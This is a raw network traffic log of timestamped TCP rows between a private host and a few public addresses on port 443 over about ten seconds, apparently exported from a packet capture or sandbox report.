Nov 21, 2024 19:59:29.431255102 CET	443	49844	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:29.431341887 CET	49841	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:29.431349993 CET	443	49841	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:29.431466103 CET	49842	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:29.431478024 CET	443	49842	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:31.288270950 CET	443	49842	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:31.289165020 CET	49842	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:31.289189100 CET	443	49842	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:31.289716005 CET	49842	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:31.289721966 CET	443	49842	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:31.293653965 CET	443	49840	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:31.294095993 CET	49840	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:31.294111013 CET	443	49840	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:31.294476032 CET	49840	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:31.294480085 CET	443	49840	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:31.300466061 CET	443	49841	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:31.300846100 CET	49841	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:31.300873995 CET	443	49841	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:31.301299095 CET	49841	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:31.301302910 CET	443	49841	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:31.354269028 CET	443	49844	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:31.355071068 CET	49844	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:31.355101109 CET	443	49844	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:31.355566025 CET	49844	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:31.355571032 CET	443	49844	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:31.359425068 CET	443	49843	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:31.359797001 CET	49843	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:31.359821081 CET	443	49843	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:31.360147953 CET	49843	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:31.360157967 CET	443	49843	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:31.748064041 CET	443	49842	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:31.748086929 CET	443	49842	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:31.748145103 CET	49842	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:31.748148918 CET	443	49842	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:31.748459101 CET	49842	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:31.748627901 CET	443	49840	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:31.748651981 CET	49842	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:31.748673916 CET	443	49842	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:31.748799086 CET	443	49840	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:31.748853922 CET	49840	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:31.750462055 CET	49840	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:31.750462055 CET	49840	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:31.750471115 CET	443	49840	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:31.750480890 CET	443	49840	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:31.753488064 CET	49845	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:31.753534079 CET	443	49845	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:31.753623009 CET	49845	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:31.753782988 CET	49845	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:31.753799915 CET	443	49845	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:31.754919052 CET	443	49841	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:31.755004883 CET	443	49841	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:31.755096912 CET	49841	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:31.755108118 CET	443	49841	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:31.755193949 CET	49841	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:31.755392075 CET	49841	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:31.755392075 CET	49841	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:31.755398989 CET	443	49841	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:31.755717039 CET	49846	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:31.755764008 CET	443	49841	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:31.755773067 CET	443	49846	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:31.755853891 CET	49846	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:31.755857944 CET	443	49841	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:31.755920887 CET	49841	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:31.756289005 CET	49846	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:31.756305933 CET	443	49846	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:31.758866072 CET	49847	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:31.758881092 CET	443	49847	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:31.758953094 CET	49847	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:31.759103060 CET	49847	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:31.759115934 CET	443	49847	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:31.813167095 CET	443	49844	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:31.813225031 CET	443	49844	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:31.813389063 CET	49844	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:31.813412905 CET	443	49844	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:31.813661098 CET	49844	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:31.813678980 CET	443	49844	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:31.813713074 CET	49844	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:31.814038992 CET	443	49844	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:31.814138889 CET	443	49844	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:31.814193010 CET	49844	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:31.815903902 CET	443	49843	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:31.817199945 CET	49848	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:31.817246914 CET	443	49848	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:31.817553997 CET	49848	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:31.817553997 CET	49848	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:31.817588091 CET	443	49848	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:31.818332911 CET	443	49843	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:31.818465948 CET	49843	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:31.818465948 CET	49843	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:31.818466902 CET	49843	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:31.820895910 CET	49849	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:31.820996046 CET	443	49849	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:31.821095943 CET	49849	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:31.821243048 CET	49849	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:31.821280003 CET	443	49849	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:32.131505013 CET	49843	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:32.131534100 CET	443	49843	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:33.482831955 CET	443	49846	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:33.485533953 CET	49846	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:33.485563040 CET	443	49846	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:33.486222982 CET	49846	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:33.486228943 CET	443	49846	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:33.557408094 CET	443	49845	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:33.558151960 CET	49845	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:33.558217049 CET	443	49845	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:33.558830976 CET	49845	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:33.558850050 CET	443	49845	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:33.613992929 CET	443	49847	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:33.614598036 CET	49847	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:33.614612103 CET	443	49847	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:33.615247965 CET	49847	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:33.615252972 CET	443	49847	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:33.646030903 CET	443	49849	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:33.647351027 CET	49849	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:33.647413015 CET	443	49849	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:33.648009062 CET	49849	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:33.648025036 CET	443	49849	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:33.728502035 CET	443	49848	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:33.729121923 CET	49848	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:33.729151011 CET	443	49848	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:33.729713917 CET	49848	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:33.729718924 CET	443	49848	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:33.919907093 CET	443	49846	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:33.920027971 CET	443	49846	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:33.920104980 CET	49846	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:33.920376062 CET	49846	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:33.920397043 CET	443	49846	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:33.920413971 CET	49846	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:33.920419931 CET	443	49846	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:33.923682928 CET	49850	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:33.923727989 CET	443	49850	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:33.923806906 CET	49850	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:33.923962116 CET	49850	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:33.923978090 CET	443	49850	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:34.007766008 CET	443	49845	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:34.007956028 CET	443	49845	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:34.008033991 CET	49845	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:34.008558035 CET	49845	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:34.008594990 CET	443	49845	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:34.008627892 CET	49845	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:34.008645058 CET	443	49845	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:34.012101889 CET	49851	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:34.012197018 CET	443	49851	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:34.012291908 CET	49851	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:34.012485981 CET	49851	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:34.012526035 CET	443	49851	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:34.093281984 CET	443	49847	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:34.093385935 CET	443	49847	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:34.093481064 CET	49847	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:34.093708992 CET	49847	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:34.093760967 CET	443	49847	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:34.093794107 CET	49847	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:34.093813896 CET	443	49847	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:34.097599983 CET	49852	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:34.097657919 CET	443	49852	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:34.097759962 CET	49852	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:34.097965002 CET	49852	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:34.097980976 CET	443	49852	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:34.182785988 CET	443	49848	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:34.182876110 CET	443	49848	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:34.182995081 CET	49848	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:34.183304071 CET	49848	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:34.183336020 CET	443	49848	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:34.183360100 CET	49848	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:34.183366060 CET	443	49848	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:34.187017918 CET	49853	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:34.187129974 CET	443	49853	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:34.187231064 CET	49853	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:34.187393904 CET	49853	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:34.187424898 CET	443	49853	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:34.345274925 CET	443	49849	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:34.347228050 CET	443	49849	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:34.347292900 CET	49849	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:34.347364902 CET	49849	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:34.347387075 CET	443	49849	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:34.347400904 CET	49849	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:34.347407103 CET	443	49849	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:34.351993084 CET	49854	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:34.352049112 CET	443	49854	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:34.352145910 CET	49854	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:34.352320910 CET	49854	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:34.352333069 CET	443	49854	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:35.510341883 CET	49787	443	192.168.2.8	172.64.41.3
Nov 21, 2024 19:59:35.510382891 CET	443	49787	172.64.41.3	192.168.2.8
Nov 21, 2024 19:59:35.510402918 CET	49788	443	192.168.2.8	172.64.41.3
Nov 21, 2024 19:59:35.510436058 CET	443	49788	172.64.41.3	192.168.2.8
Nov 21, 2024 19:59:35.764318943 CET	443	49850	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:35.764944077 CET	49850	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:35.764983892 CET	443	49850	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:35.765430927 CET	49850	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:35.765436888 CET	443	49850	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:35.814317942 CET	443	49852	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:35.814984083 CET	49852	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:35.815010071 CET	443	49852	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:35.815737963 CET	49852	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:35.815747023 CET	443	49852	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:35.888427973 CET	443	49851	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:35.889095068 CET	49851	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:35.889120102 CET	443	49851	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:35.889682055 CET	49851	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:35.889688015 CET	443	49851	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:35.969974041 CET	443	49853	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:35.970506907 CET	49853	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:35.970587969 CET	443	49853	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:35.970993996 CET	49853	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:35.971010923 CET	443	49853	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:36.216522932 CET	443	49854	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:36.217029095 CET	49854	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:36.217057943 CET	443	49854	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:36.217524052 CET	49854	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:36.217530012 CET	443	49854	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:36.243937969 CET	443	49850	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:36.244117022 CET	443	49850	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:36.244195938 CET	49850	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:36.244318962 CET	49850	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:36.244337082 CET	443	49850	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:36.244349003 CET	49850	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:36.244354010 CET	443	49850	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:36.251945019 CET	49856	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:36.251986980 CET	443	49856	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:36.252069950 CET	49856	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:36.252270937 CET	49856	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:36.252284050 CET	443	49856	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:36.341358900 CET	443	49851	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:36.341444969 CET	443	49851	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:36.341545105 CET	49851	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:36.341721058 CET	49851	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:36.341739893 CET	443	49851	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:36.341751099 CET	49851	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:36.341756105 CET	443	49851	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:36.344371080 CET	49857	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:36.344428062 CET	443	49857	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:36.344500065 CET	49857	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:36.344644070 CET	49857	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:36.344656944 CET	443	49857	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:36.462858915 CET	443	49853	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:36.463040113 CET	443	49853	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:36.463130951 CET	49853	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:36.463277102 CET	49853	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:36.463299036 CET	443	49853	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:36.463320971 CET	49853	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:36.463326931 CET	443	49853	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:36.466325045 CET	49858	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:36.466347933 CET	443	49858	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:36.466428041 CET	49858	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:36.466602087 CET	49858	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:36.466622114 CET	443	49858	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:36.532608032 CET	443	49852	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:36.533958912 CET	443	49852	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:36.534071922 CET	49852	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:36.534140110 CET	49852	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:36.534159899 CET	443	49852	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:36.534173965 CET	49852	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:36.534179926 CET	443	49852	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:36.536955118 CET	49859	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:36.536983013 CET	443	49859	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:36.537058115 CET	49859	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:36.537203074 CET	49859	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:36.537218094 CET	443	49859	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:36.674551964 CET	443	49854	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:36.674627066 CET	443	49854	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:36.674751997 CET	49854	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:36.675002098 CET	49854	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:36.675024033 CET	443	49854	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:36.675035000 CET	49854	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:36.675040007 CET	443	49854	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:36.678211927 CET	49860	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:36.678267956 CET	443	49860	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:36.678406954 CET	49860	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:36.678556919 CET	49860	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:36.678570032 CET	443	49860	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:38.058243036 CET	443	49856	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:38.059067011 CET	49856	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:38.059107065 CET	443	49856	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:38.059724092 CET	49856	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:38.059729099 CET	443	49856	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:38.080805063 CET	49820	443	192.168.2.8	204.79.197.219
Nov 21, 2024 19:59:38.080821037 CET	443	49820	204.79.197.219	192.168.2.8
Nov 21, 2024 19:59:38.200603008 CET	443	49858	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:38.201199055 CET	49858	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:38.201245070 CET	443	49858	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:38.201630116 CET	49858	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:38.201636076 CET	443	49858	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:38.238188028 CET	443	49857	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:38.238683939 CET	49857	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:38.238717079 CET	443	49857	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:38.239110947 CET	49857	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:38.239115953 CET	443	49857	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:38.337953091 CET	49819	443	192.168.2.8	204.79.197.219
Nov 21, 2024 19:59:38.337964058 CET	443	49819	204.79.197.219	192.168.2.8
Nov 21, 2024 19:59:38.357230902 CET	443	49859	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:38.357804060 CET	49859	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:38.357839108 CET	443	49859	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:38.358444929 CET	49859	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:38.358450890 CET	443	49859	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:38.437060118 CET	443	49860	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:38.437727928 CET	49860	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:38.437761068 CET	443	49860	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:38.438324928 CET	49860	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:38.438329935 CET	443	49860	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:38.501296997 CET	443	49856	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:38.501384020 CET	443	49856	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:38.501494884 CET	49856	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:38.501694918 CET	49856	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:38.501728058 CET	443	49856	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:38.501743078 CET	49856	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:38.501749992 CET	443	49856	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:38.505283117 CET	49861	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:38.505321980 CET	443	49861	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:38.505420923 CET	49861	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:38.505667925 CET	49861	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:38.505681038 CET	443	49861	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:38.647574902 CET	443	49858	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:38.647737026 CET	443	49858	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:38.647936106 CET	49858	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:38.649996042 CET	49858	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:38.650041103 CET	443	49858	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:38.650072098 CET	49858	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:38.650088072 CET	443	49858	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:38.654181004 CET	49862	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:38.654242992 CET	443	49862	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:38.654310942 CET	49862	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:38.654536963 CET	49862	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:38.654556036 CET	443	49862	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:38.724008083 CET	443	49857	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:38.724086046 CET	443	49857	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:38.724148035 CET	49857	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:38.724365950 CET	49857	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:38.724392891 CET	443	49857	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:38.724406958 CET	49857	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:38.724415064 CET	443	49857	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:38.727884054 CET	49863	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:38.727926970 CET	443	49863	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:38.728022099 CET	49863	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:38.728233099 CET	49863	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:38.728250027 CET	443	49863	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:38.802424908 CET	443	49859	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:38.802496910 CET	443	49859	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:38.802562952 CET	49859	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:38.802953959 CET	49859	443	192.168.2.8	13.107.246.63
